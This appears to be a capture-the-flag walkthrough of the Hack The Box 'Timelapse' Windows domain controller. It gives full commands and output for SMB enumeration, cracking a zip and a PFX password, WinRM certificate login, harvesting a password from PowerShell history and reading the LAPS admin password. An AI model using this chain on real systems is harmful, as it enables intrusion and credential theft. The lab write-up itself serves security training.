Timelapse
nmap findings
nmap -p53,88,139,135,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49696,58232 -sV -sC -T4 -Pn -oA 10.10.11.152 10.10.11.152
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-03 07:03 +08
Nmap scan report for timelapse.htb (10.10.11.152)
Host is up (0.017s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-08-03 07:03:17Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2023-08-03T07:04:46+00:00; +7h59m59s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn:
|_ http/1.1
|_http-title: Not Found
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after: 2022-10-25T14:25:29
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
58232/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windowsSMB enum
smbclient
smbclient -L //timelapse.htb/ -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Shares Disk
SYSVOL Disk Logon server share
Using crackmap with 'fake user' and '' empty password
crackmapexec smb timelapse.htb --shares -u test -p ''
SMB timelapse.htb 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB timelapse.htb 445 DC01 [+] timelapse.htb\test:
SMB timelapse.htb 445 DC01 [+] Enumerated shares
SMB timelapse.htb 445 DC01 Share Permissions Remark
SMB timelapse.htb 445 DC01 ----- ----------- ------
SMB timelapse.htb 445 DC01 ADMIN$ Remote Admin
SMB timelapse.htb 445 DC01 C$ Default share
SMB timelapse.htb 445 DC01 IPC$ READ Remote IPC
SMB timelapse.htb 445 DC01 NETLOGON Logon server share
SMB timelapse.htb 445 DC01 Shares READ
SMB timelapse.htb 445 DC01 SYSVOL Logon server shareAccessing Shares
smbclient -N //dc01.timelapse.htb/Shares
Dev D 0 Mon Oct 25 19:40:06 2021
winrm_backup.zip A 2611 Mon Oct 25 15:46:42 2021
HelpDesk D 0 Mon Oct 25 15:48:42 2021
LAPS.x64.msi A 1118208 Mon Oct 25 14:57:50 2021
LAPS_Datasheet.docx A 104422 Mon Oct 25 14:57:46 2021
LAPS_OperationsGuide.docx A 641378 Mon Oct 25 14:57:40 2021
LAPS _TechnicalSpecification.docx A 72683 Mon Oct 25 14:57:44 2021Zip cracking
fcrackzip
fcrackzip -v -D -u -p /usr/share/wordlists/rockyou.txt winrm_backup.zip
found file 'legacyy_dev_auth.pfx', (size cp/uc 2405/ 2555, flags 9, chk 72aa)
checking pw udei9Qui
PASSWORD FOUND!!!!: pw == supremelegacy
pfx2john
pfx2john legacyy_dev_auth.pfx | tee legacyy_dev_auth.pfx.hash
legacyy_dev_auth.pfx:$pfxng$1$20$2000$20$eb755568327396de179c4a5d668ba8fe550ae18a$3082099c3082060f06092a864886f70d010701a0820600048205fc308205f8308205f4060b2a864886f70d010c0a0102a08204fe308204fa301c060a2a864886f70d010c0103300e04084408e3852b96a898020207d0048204d8febcd5536b4b831d491da6d53ca889d95f094572da48eed1a4a14cd88bbfff72924328212c0ff047b42d0b7062b3c6191bc2c23713f986d1febf6d9e1829cd6663d2677b4af8c7a25f7360927c498163168a2543fd722188558e8016f59819657759c27000d365a302da21eda4b73121dcc4eede60533b0ef0873a99b92cc7f824d029385fa8b6859950912cd0a257fa55f150c2135f2850832b3229033f2552f809e70010fab8868bb7d5bef7c20408dac3f67e367f4c3e3b81a555cdfe9e89c7bc44d6996f401f9a26e43094b6fa418a76d5b57579eeb534627a27fd46350a624b139d9ff4b124c9afbbbe42870026098bbc7d38b6b543ab6eff3cf2972c87dd2c0e703ef2a0120062a97279661b67ca596a650efde28e098c82fce01f50611e28d4a6d5d75af8bf965c07faa68331b9f66733deb32ee3628b156ee0ef8e63b732e3606f3c6c9453b49d15592648cd918deaf72889f3e0bcf42bfdb9cddae7e77c5934579d658bfea78800013f36de7e7fadd2f0ff96e78dedaba0593947f96989fad67e17470b49307b5199248fbad36a0dee42e480b30785810a4c17cc27b0e0ed3a99ddec9720a968f3ccbffb36752febbbca437ecacd6c93c6ef2ff6277de01545a482daf34d1faf38819737b7e4ef61004c2876715123fd0b8a4f6c03eb387fd50eaaf4977870a6c011c91f1c9093dc2aa0e2c72c0a5e1473ef89429b02ab1efbf09b096efecb65d6e772d8eb2ca2e72aa288749d6fdbf9b207592f3a9ad16676d9f0aba1fb2f180f7b715b6c2238a42c13b00f8dc26c41ababbca74b84b42294ff473a0f16c85ac7f2072981968f8b868885655f50ea81f06e5e65d269853e537e18268add9046681f9a6d0233d171f900b34cf0c63d299eb67d7a8ebfcfbf88395de5c7fd5bd1085d20cc56b3ca847e6f21fba58215ff91bed70e5f629c9257baa848f29fab2efb9170f8c51e680dde4d6d2eebaa602b24444f43ccfb607efa46f378539664c6309f51d82f67347fc689e855966069099dead6f19adadcf9c6a0d2c42401846eba828bffad6f7336df1ea091844f2074e976a5d2eb83db0646fb43b3faad564ac577781f29de95b7b21b6caf7f9de6d2d56150de098faf9a684b2a79083b3555455272874e9c427e1b1349b94c0baf73eee08832274df7c4ac23b68f66cb86ba0561e1bb83b0e920b4568371c89c2a80ed63308a4d9ce2e12d74de3f83fe5d93ab3aadd65a8821814f9981e20cdb86615d04ef9d45c30d692ad058212b33a0c8966414b3840a77af33b2fe85791a16e4922a9458cb584903515470d57607ce412e0699c883ddd40ad4983f9e6164879a19fc554781823782c89b47c3bf36a6eb4d33194753e85cb13e112a3e9fce98b72565961d1bace71a8086657bce391bdb2a5e4b8025b06984fbb2da341034e9750b33ef2a1dccddde7b867084faf8264a4379c17dfad736a382fa7510e674ca7fefba611cc64313242d3166a04165d4f70607bd988181f06ff4dca04035c14111c7d93a1169efcece8c3616e971131ff54c42a35f3c43f374131b8634999052aa7a479274f6b9d64e414d2775fcf8f7e68897032902547c92885136f0f14e04e62519a02c03a4d0bf412e517f4b51e42ff27b40d7222d722424c56abb1b183158fef0f9d04bbc45d5341a4cb26d03a5864a6f51b9bd315918aa491393a5b6dc622dad6b25e131e43077ab421c4bcd6ed6dfbd52afd4dcb19a27797cbf983181e2300d06092b06010401823711023100301306092a864886f70d0109153106040401000000305d06092a864886f70d01091431501e4e00740065002d00340061003500330034003100350037002d0063003800660031002d0034003700320034002d0038006400620036002d006500640031003200660032003500630032006100390062305d06092b060104018237110131501e4e004d006900630072006f0073006f0066007400200053006f0066007400770061007200650020004b00650079002000530074006f0072006100670065002000500072006f007600690064006500723082038506092a864886f70d010701a0820376048203723082036e3082036a060b2a864886f70d010c0a0103a08203423082033e060a2a864886f70d01091601a082032e0482032a308203263082020ea00302010202101d9989298acf11bb4193a1cff44e12df300d06092a864886f70d01010b050030123110300e06035504030c074c656761637979301e170d3231313032353134303535325a170d3331313032353134313535325a30123110300e06035504030c074c65676163797930820122300d06092a864886f70d01010105000382010f003082010a0282010100a55607a36216471ee2f34d23ad6171ce8b9eb34a872bf689bce78603bbfeaa1c16b835ff3114fe8834d04d9585af0310af28cf1a42c1e9bf7b68a70a50f986d1643bb5371ca1bdf34d4d15e3745415f672222a4a303adea01b617ef4ee60545e0f0271cf9be6183f0b1ba1191857c40ea73222e8d319803089ae02125999941ea4e1c9b156ffb3ce99ed60b3ab623755c5a0fbb5ccd3986882f776d65a6b35dc2f0e88a532513c90161adb6ac85a26998ac9a82cc249a5aef631b4a7584a2bb9a4eb0bc1491f107c75b6a97f7e35b2ca7a00adfbf8c06babb657d96ef8adcc0b635a4b33a8222e472cc8e7aee8d1a02c77bfa6572f428f085cc3304a8b1491f10203010001a3783076300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b0601050507030230300603551d1104293027a025060a2b060104018237140203a0170c156c6567616379794074696d656c617073652e687462301d0603551d0e04160414ccd90ee4af209eb0752bfd81961eac2db1255819300d06092a864886f70d01010b050003820101005f8efb76bfde3efe96fdda72c84b8ae76bb0882aba9a9bdeba1fc905eadee91d93e510364caf5eeee7492f4cdd43e0fb650ae77d49a3eca2449b28da05817d4a357e66ef6174dca08b226875cf896dc6c73a2603a09dc0aa7457d7dedd04cb747b286c7aade2edbd4e0567e9e1be55d3789fcf01773f7f06b6adf88fb1f579d564ce604cdc8299e074726d06a9ae370ded9c42a680caa9eb9298ce9293bef335263848e6dc4686a6dd59b9f6952e308c6cb7606459c3aa0cebaec6175dd5ab65f758764ae4d68ffb929ac1dfc9f8cb3aae26343c36e19f1d78def222a0760c8860a72ac1dd5a232b1b65162cea1e52b9549a9af4ebd918fe79fbfb34846b6a403115301306092a864886f70d0109153106040401000000$86b99e245b03465a6ce0c974055e6dcc74f0e893:::::legacyy_dev_auth.pfxjohn
john --wordlist=/usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx.hash
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 128/128 AVX 4x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:01:00 DONE (2023-08-03 07:27) 0.01659g/s 53621p/s 53621c/s 53621C/s thuglife06..thug211
Use the "--show" option to display all of the cracked passwords reliably
Session completed. Use the passphrase to exrtract key and cert
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy_dev_auth.key-enc
Enter Import Password:
Enter PEM pass phrase: (anything u wan put same as pass also can)
Verifying - Enter PEM pass phrase:decrypt the key using password set just now
openssl rsa -in legacyy_dev_auth.key-enc -out legacyy_dev_auth.keydump the cert
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacyy_dev_auth.crtPriv Esc
evil-winrm to get shell
evil-winrm -i timelapse.htb -S -k legacyy_dev_auth.key -c legacyy_dev_auth.crt-S- Enable SSL, because I’m connecting to 5986;-c legacyy_dev_auth.crt- provide the public key certificate-k legacyy_dev_auth.key- provide the private key-i timelapse.htb- host to connect to
Find powershell history (.bash_history in linux)
*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> ls
Directory: C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/3/2022 11:46 PM 434 ConsoleHost_history.txtReading its content contain password for svc_deploy
type ConsoleHost_history.txt
whoami ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {whoami} get-aduser -filter * -properties *
exitReconnect using svc_deploy
evil-winrm -i timelapse.htb -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -Sfound interesting group in whoami /all
TIMELAPSE\LAPS_Readers Group S-1-5-21-671920749-559770252-3318990721-2601 Mandatory group, Enabled by default, Enabled groupLAPS_Readers seems to imply svc_deploy has access to read from LAPS.
With LAPS, the DC manages the local administrator passwords for computers on the domain. It is common to create a group of users and give them permissions to read these passwords, allowing the trusted administrators access to all the local admin passwords.
Read Password
To read the LAPS password, I just need to use Get-ADComputer and specifically request the ms-mcs-admpwd property:
Get-ADComputer DC01 -property 'ms-mcs-admpwd'
DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName : dc01.timelapse.htb
Enabled : True
ms-mcs-admpwd : uM[3va(s870g6Y]9i]6tMu{j
Name : DC01
ObjectClass : computer
ObjectGUID : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName : DC01$
SID : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :login as administrator
evil-winrm -i timelapse.htb -S -u administrator -p 'uM[3va(s870g6Y]9i]6tMu{j'finding and reading flags
Get-ChildItem -Path C:\ -Recurse -Filter "root.txt" -File
Get-Content -Path "C:\Users\TRX\Desktop\root.txt"
Get-ChildItem -Path C:\ -Recurse -Filter "user.txt" -File
Get-Content -Path "C:\Users\legacyy\Desktop\user.txt"Last updated